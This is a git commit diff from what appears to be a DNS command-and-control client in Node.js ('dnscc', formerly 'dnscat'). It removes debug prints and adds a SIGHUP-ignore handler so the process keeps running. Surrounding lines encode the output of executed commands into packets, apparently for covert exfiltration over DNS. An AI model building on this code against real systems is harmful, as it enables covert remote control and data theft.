diff options
| author | Carson Fleming <cflems@cflems.net> | 2022-07-15 01:04:39 -0700 |
|---|---|---|
| committer | Carson Fleming <cflems@cflems.net> | 2022-07-15 01:04:39 -0700 |
| commit | 833d3536704e74066633899d48fdfbb06127e31d (patch) | |
| tree | c9051cd841f66a2a2148e840f1e0ca591fc36068 | |
| parent | c7c1bafa4b3b6deb0da1cf9eb06864a69938e1ac (diff) | |
| download | dnscc-833d3536704e74066633899d48fdfbb06127e31d.tar.gz | |
Remove debugging prints; rename main file
| -rw-r--r-- | dnscc.js (renamed from dnscat.js) | 0 | ||||
| -rw-r--r-- | dnscli.js | 4 |
2 files changed, 2 insertions, 2 deletions
@@ -8,6 +8,8 @@ const NOP_SLEEP_TIME = 1; const dns = require('dns'); const cp = require('child_process'); +process.on('SIGHUP', function() {}); + function sleep(sec) { return new Promise(function(resolve) { setTimeout(resolve, 1000*sec); @@ -58,13 +60,11 @@ async function event() { if (stdout.length > 0) { for (let line of stdout.split('\n')) { - console.log('line: "', line, '"'); packets = packets.concat(encode(line)); } } if (stderr.length > 0) { for (line of stderr.split('\n')) { - console.log('line: "', line, '"'); packets = packets.concat(encode(line)); } } |
